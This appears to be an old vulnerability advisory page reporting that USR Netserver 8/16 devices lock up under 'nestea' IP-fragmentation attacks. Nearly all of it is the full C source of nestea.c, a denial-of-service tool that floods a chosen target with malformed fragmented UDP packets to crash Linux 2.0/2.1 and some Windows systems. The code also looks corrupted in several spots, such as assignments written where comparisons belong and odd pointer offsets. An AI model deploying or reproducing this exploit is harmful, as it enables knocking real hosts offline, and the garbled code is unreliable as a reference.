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CanSecWest 2012

2nd Annual Cyber Security

Hack In Paris

USR Netserver 8/16 v.34 running OS version 2.0.14 (and eariler) seems to be vulnerable to nestea attacks causing it to lookup, and not answer to incoming traffic. There seems to be other version that are affect by this, it is reported that also USR Netserver 8/16 running OS version 4.1.82 locks up.

Credit:
A patch for this problem can be found under USR's support service located here: http://totalservice.usr.com.

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A nestea (v 1.0) code is attached below:

// nestea.c by humble of rhino9 4/16/98
// This exploits the "off by one ip header" bug in the linux ip frag code.
// Crashes linux 2.0.* and 2.1.* and some windows boxes
// this code is a total rip of teardrop - it's messy
// hi sygma

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>

// bsd usage is currently broken because of socket options on the third sendto

#ifdef STRANGE_BSD_BYTE_ORDERING_THING
/* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
#define FIX(n) (n)
#else /* OpenBSD 2.1, all Linux */
#define FIX(n) htons(n)
#endif /* STRANGE_BSD_BYTE_ORDERING_THING */

#define IP_MF 0x2000 /* More IP fragment en route */
#define IPH 0x14 /* IP header size */
#define UDPH 0x8 /* UDP header size */
#define MAGIC2 108
#define PADDING 256 /* datagram frame padding for first packet */
#define COUNT 500 /* we are overwriting a small number of bytes we
shouldnt have access to in the kernel.
to be safe, we should hit them till they die :> */

void usage(u_char *);
u_long name_resolve(u_char *);
u_short in_cksum(u_short *, int);
void send_frags(int, u_long, u_long, u_short, u_short);

int main(int argc, char **argv)
{
int one = 1, count = 0, i, rip_sock;
u_long src_ip = 0, dst_ip = 0;
u_short src_prt = 0, dst_prt = 0;
struct in_addr addr;

if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
perror("raw socket");
exit(1);
}
if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))
< 0)
{
perror("IP_HDRINCL");
exit(1);
}
if (argc < 3) usage(argv[0]);
if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
{
fprintf(stderr, "What the hell kind of IP address is that?\n");
exit(1);
}

while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
{
switch (i)
{
case 's': /* source port (should be emphemeral) */
src_prt = (u_short)atoi(optarg);
break;
case 't': /* dest port (DNS, anyone?) */
dst_prt = (u_short)atoi(optarg);
break;
case 'n': /* number to send */
count = atoi(optarg);
break;
default :
usage(argv[0]);
break; /* NOTREACHED */
}
}
srandom((unsigned)(time((time_t)0)));
if (!src_prt) src_prt = (random() % 0xffff);
if (!dst_prt) dst_prt = (random() % 0xffff);
if (!count) count = COUNT;

fprintf(stderr, "Nestea by humble\nCode ripped from teardrop by route / daemon9\n");
fprintf(stderr, "Death on flaxen wings (yet again):\n");
addr.s_addr = src_ip;
fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);
addr.s_addr = dst_ip;
fprintf(stderr, " To: %15s.%5d\n", inet_ntoa(addr), dst_prt);
fprintf(stderr, " Amt: %5d\n", count);
fprintf(stderr, "[ ");

for (i = 0; i < count; i++)
{
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
fprintf(stderr, "b00m ");
usleep(500);
}
fprintf(stderr, "]\n");
return (0);
}

void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
u_short dst_prt)
{
int i;
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
u_char byte; /* a byte */
struct sockaddr_in sin; /* socket protocol structure */

sin.sin_family = AF_INET;
sin.sin_port = src_prt;
sin.sin_addr.s_addr = dst_ip;

packet = (u_char *)malloc(IPH + UDPH + PADDING+40);
p_ptr = packet;
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);

byte = 0x45; /* IP version and header length */
memcpy(p_ptr, &byte, sizeof(u_char));
p_ptr += 2; /* IP TOS (skipped) */
*((u_short *)p_ptr) = FIX(IPH + UDPH + 10); /* total length */
p_ptr += 2;
*((u_short *)p_ptr) = htons(242); /* IP id */
p_ptr += 2;
*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */
p_ptr += 2;
*((u_short *)p_ptr) = 0x40; /* IP TTL */
byte = IPPROTO_UDP;
memcpy(p_ptr + 1, &byte, sizeof(u_char));
p_ptr += 4; /* IP checksum filled in by kernel */
*((u_long *)p_ptr) = src_ip; /* IP source address */
p_ptr += 4;
*((u_long *)p_ptr) = dst_ip; /* IP destination address */
p_ptr += 4;
*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(8 + 10); /* UDP total length */

if (sendto(sock, packet, IPH + UDPH + 10, 0, (struct sockaddr *)&sin,
sizeof(struct sockaddr)) = -1)
{
perror("\nsendto");
free(packet);
exit(1);
}

p_ptr = packet;
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);

byte = 0x45; /* IP version and header length */
memcpy(p_ptr, &byte, sizeof(u_char));
p_ptr += 2; /* IP TOS (skipped) */
*((u_short *)p_ptr) = FIX(IPH + UDPH + MAGIC2); /* total length */
p_ptr += 2;
*((u_short *)p_ptr) = htons(242); /* IP id */
p_ptr += 2;
*((u_short *)p_ptr) = FIX(6); /* IP frag flags and offset */
p_ptr += 2;
*((u_short *)p_ptr) = 0x40; /* IP TTL */
byte = IPPROTO_UDP;
memcpy(p_ptr + 1, &byte, sizeof(u_char));
p_ptr += 4; /* IP checksum filled in by kernel */
*((u_long *)p_ptr) = src_ip; /* IP source address */
p_ptr += 4;
*((u_long *)p_ptr) = dst_ip; /* IP destination address */
p_ptr += 4;
*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(8 + MAGIC2); /* UDP total length */

if (sendto(sock, packet, IPH + UDPH + MAGIC2, 0, (struct sockaddr *)&sin,
sizeof(struct sockaddr)) = -1)
{
perror("\nsendto");
free(packet);
exit(1);
}

p_ptr = packet;
bzero((u_char *)p_ptr, IPH + UDPH + PADDING+40);
byte = 0x4F; /* IP version and header length */
memcpy(p_ptr, &byte, sizeof(u_char));
p_ptr += 2; /* IP TOS (skipped) */
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING+40); /* total length */
p_ptr += 2;
*((u_short *)p_ptr) = htons(242); /* IP id */
p_ptr += 2;
*((u_short *)p_ptr) = 0 | FIX(IP_MF); /* IP frag flags and offset */
p_ptr += 2;
*((u_short *)p_ptr) = 0x40; /* IP TTL */
byte = IPPROTO_UDP;
memcpy(p_ptr + 1, &byte, sizeof(u_char));
p_ptr += 4; /* IP checksum filled in by kernel */
*((u_long *)p_ptr) = src_ip; /* IP source address */
p_ptr += 4;
*((u_long *)p_ptr) = dst_ip; /* IP destination address */
p_ptr += 44;
*((u_short *)p_ptr) = htons(src_prt); /* UDP source pozt */
p_ptr += 2;
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */

for(i=0;i<PADDING;i++)
{
p_ptr[i++]=random()%255;
}

if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin,
sizeof(struct sockaddr)) = -1)
{
perror("\nsendto");
free(packet);
exit(1);
}
free(packet);
}

u_long name_resolve(u_char *host_name)
{
struct in_addr addr;
struct hostent *host_ent;

if ((addr.s_addr = inet_addr(host_name)) = -1)
{
if (!(host_ent = gethostbyname(host_name))) return (0);
bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
}
return (addr.s_addr);
}

void usage(u_char *name)
{
fprintf(stderr,
"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
name);
exit(0);
}

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